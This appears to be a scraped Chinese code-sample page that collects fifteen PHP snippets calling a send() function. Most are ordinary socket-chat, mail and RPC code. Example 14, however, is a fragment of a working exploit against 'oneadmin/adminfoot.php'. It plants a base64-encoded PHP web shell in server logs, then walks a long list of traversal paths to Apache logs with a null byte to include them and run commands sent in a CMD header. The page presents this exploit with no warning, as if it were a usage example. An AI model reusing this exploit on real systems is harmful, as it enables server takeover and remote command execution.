本文整理汇总了PHP中send函数的典型用法代码示例。如果您正苦于以下问题:PHP send函数的具体用法?PHP send怎么用?PHP send使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了send函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。
示例1: respond
function respond()
{
if (validate_fields()) {
build_header();
send();
}
}
示例2: process
function process($user, $msg)
{
$action = unwrap($msg);
say("< " . $action);
switch ($action) {
case "hello":
send($user->socket, "hello human");
break;
case "hi":
send($user->socket, "zup human");
break;
case "name":
send($user->socket, "my name is Multivac, silly I know");
break;
case "age":
send($user->socket, "I am older than time itself");
break;
case "date":
send($user->socket, "today is " . date("Y.m.d"));
break;
case "time":
send($user->socket, "server time is " . date("H:i:s"));
break;
case "thanks":
send($user->socket, "you're welcome");
break;
case "bye":
send($user->socket, "bye");
break;
default:
send($user->socket, $action . " not understood");
break;
}
}
示例3: welcome
function welcome($user, $nick, $pic)
{
$user->nick = $nick;
$user->pic = $pic;
$msg = getuserslist();
send($user, $msg);
broadcast("HELO|" . $nick . "|" . $pic, $nick);
}
示例4: store
public function store(Request $request)
{
Mail:
send('email.contact', $request->all(), function ($msj) {
$msj->subject('correo de contacto');
$msj->to('iver.fabi13@gmail.com');
Session::flash('mensaje', 'mesaje enviado correctamente');
return Redirect::to('/login');
});
}
示例5: broadcast
function broadcast($sender, $message)
{
global $users;
for ($i = 0; $i < count($users); $i++) {
if ($sender != $users[$i]) {
send($users[$i]->socket, $message);
}
}
//for ($i = 0; $i < count($users); $i++)
}
示例6: send_msg
/**
* 发消息
*/
function send_msg($postData, $paramsData)
{
$data = array();
if (!empty($paramsData)) {
$commData['ToUserName'] = $postData['FromUserName'];
$commData['FromUserName'] = $postData['ToUserName'];
$commData['CreateTime'] = time();
$data = array_merge($commData, $paramsData);
}
send($data);
}
示例7: login
function login($user, $pass)
{
global $user_info;
$data = explode("\r\n\r\n", send("/wiki/api.php", "localhost", array("action" => "login", "lgname" => $user, "lgpassword" => $pass, "format" => "php")));
$data = unserialize($data[1]);
if ($data['login']['result'] == "Success") {
$user_info['name'] = $user;
return true;
} else {
return false;
}
}
示例8: confirm_notice
function confirm_notice($snt)
{
$msg = gen_total_msg($snt);
echo_msg($msg);
$confirm = ask_y_or_n("Are you sure to send the above message?");
if ($confirm) {
echo "Comment mail will be sent.\n\n";
send($msg);
} else {
echo "Comment mail is cancelled.\n\n";
}
}
示例9: process
function process($user_sent, $msg)
{
global $sockets, $users;
$ms = unwrap($msg);
$obj = json_decode($ms);
$action = $obj->msg;
say("< " . $action);
foreach ($users as &$user) {
if ($user != $user_sent) {
send($user->socket, $action);
}
}
}
示例10: process_commits
function process_commits($commits, $project)
{
$delta = 0;
foreach ($commits as $refname => $commit) {
$delta++;
$use_index = count($commit) > 1;
$commit_hash = git_rev_parse($commit);
$commit_id = $use_index ? "{$refname} commit {$commit_hash}" : "{$refname} commit (#{$delta}) {$commit_hash}";
$raw_message = git_show($commit_hash, 'format:%cn%n%s');
$author = $raw_message[0];
$message = $raw_message[1];
send($commit, $author, $message, $project);
}
}
示例11: jsonrpc_call
function jsonrpc_call($url, $method, $params, $extra_headers = null)
{
static $req_id = 1;
$req = array("jsonrpc" => '2.0', "id" => $req_id++, "method" => $method, "params" => $params);
$req = json_encode($req);
$res = send($url, $req, $extra_headers = $extra_headers);
#echo $res;
$res = json_decode($res, true);
if (!isset($res)) {
echo "error: not result\n";
return null;
} else {
if (!array_key_exists('result', $res) || !isset($res['result'])) {
print_r($res['error']);
return null;
} else {
return $res['result'];
}
}
return $res;
}
示例12: reportAdmin
function reportAdmin($db, $users)
{
foreach ($users as $depe => $info) {
foreach ($info as $key => $value) {
${$key} = $value;
}
$asuntoMail = utf8_decode("Jefes sin correo electrónico.");
//$mailDestino = "mauricio.franco@onac.org.co";
//$CC="francisco.piedrahita@onac.org.co";
$mailDestino = ADMIN_EMAIL;
if ($usersWithoutMail) {
$usersWithoutMail = "<li>" . implode("</li><li>", $usersWithoutMail) . "</li>";
}
$mensaje = "Se informa que los siguientes jefes de dependencia no tienen correo electrónico ó éste es inconsistente.<br>\n<br>\n\tEn consecuencia no se les ha podido reportar las correspondientes novedades del sistema Orfeo, entre otros usuarios de sus dependencias que presentan el mismo problema: <br>\n<ul><li>{$nameBoss} jefe de la dependencia {$depeName} ({$depe})</li><ul>{$usersWithoutMail}</ul></ul>\n";
if (send($asuntoMail, $mensaje, $mailDestino, $CC)) {
$send["success"][$depe] = $info;
} else {
$send["error"][$depe] = $info;
}
}
return $send;
}
示例13: ReturnContent
public function ReturnContent($content)
{
switch ($content) {
case "myplants":
case "createplant":
case "editplant":
case "testplant":
new ContentMessage($content) . send();
break;
case "nav":
if ($this->IsAdmin() != "false") {
new ContentMessage("adminnav") . send();
} else {
new ContentMessage($content) . send();
}
break;
case "debug":
if ($this->IsAdmin() != "false") {
new ContentMessage($content) . send();
}
break;
}
}
示例14: base64_decode
$shellcode = base64_decode("PD9waHAgaWYoJF9TRVJWRVJbSFRUUF9DTURdKXsgZWNobyBjbWR4cGxzdGFydC5zaGVsbF9leGVjKHN0cmlwc2xhc2hlcygkX1NFUlZFUltIVFRQX0NNRF0pKS5jbWR4cGxlbmQ7IH0gPz4=");
$req = "GET " . $path . "/oneadmin/adminfoot.php?path[docroot]={$shellcode} HTTP/1.1\r\n";
$req .= "Accept-Encoding: text/plain\r\n";
$req .= "Host: " . $host . "\r\n";
$req .= "Connection: Close\r\n\r\n";
send("{$host}", "{$req}");
$logs = array("../../../../../var/log/httpd/access_log", "../../../../../var/log/httpd/error_log", "../apache/logs/error.log", "../apache/logs/access.log", "../../apache/logs/error.log", "../../apache/logs/access.log", "../../../apache/logs/error.log", "../../../apache/logs/access.log", "../../../logs/access_log", "../../../logs/error_log", "../../../../apache/logs/error.log", "../../../../apache/logs/access.log", "../../../../../apache/logs/error.log", "../../../../../apache/logs/access.log", "../logs/error.log", "../logs/access.log", "../../logs/error.log", "../../logs/access.log", "../../../logs/error.log", "../../../logs/access.log", "../../../../logs/error.log", "../../../../logs/access.log", "../../../../../logs/error.log", "../../../../../logs/access.log", "../../../../../etc/httpd/logs/access_log", "../../../../../etc/httpd/logs/access.log", "../../../../../etc/httpd/logs/error_log", "../../../../../etc/httpd/logs/error.log", "../../../../../var/www/logs/access_log", "../../../../../var/www/logs/access.log", "../../../../../usr/local/apache/logs/access_log", "../../../../../usr/local/apache/logs/access.log", "../../../../../var/log/apache/access_log", "../../../../../var/log/apache/access.log", "../../../../../var/log/access_log", "../../../../../var/www/logs/error_log", "../../../../../var/www/logs/error.log", "../../../../../usr/local/apache/logs/error_log", "../../../../../usr/local/apache/logs/error.log", "../../../../../var/log/apache/error_log", "../../../../../var/log/apache/error.log", "../../../../../var/log/access_log", "../../../../../var/log/error_log");
$i = 0;
foreach ($logs as $value) {
$logs[$i++];
$req = "GET " . $path . "/oneadmin/adminfoot.php?path[docroot]={$logs[$i]}%00 HTTP/1.1\r\n";
$req .= "CMD: {$cmd}\r\n";
$req .= "Accept-Encoding: text/plain\r\n";
$req .= "Host: " . $host . "\r\n";
$req .= "Connection: Close\r\n\r\n";
send("{$host}", "{$req}");
print "Trying {$logs[$i]}..\n";
$adata = explode("cmdxplstart", $data);
$bdata = explode("cmdxplend", $adata[1]);
$cdata = $bdata[0];
if (eregi("cmdxplend", $data)) {
if ($cdata == NULL) {
die("\nExploit succeeded but blank command received..\n");
}
die("\nExploit Succeeded!\n\nCommand Resolution:\n{$cdata}\n");
}
}
}
die("Exploit Failed!\n");
?>
示例15: doTest
function doTest($socket)
{
while (true) {
console("[doTest] " . $socket);
$sendText = date('Y-m-d H:i:s');
if (!send($socket, $sendText)) {
echo "[doTest] Stop \n";
return;
}
sleep(1);
}
}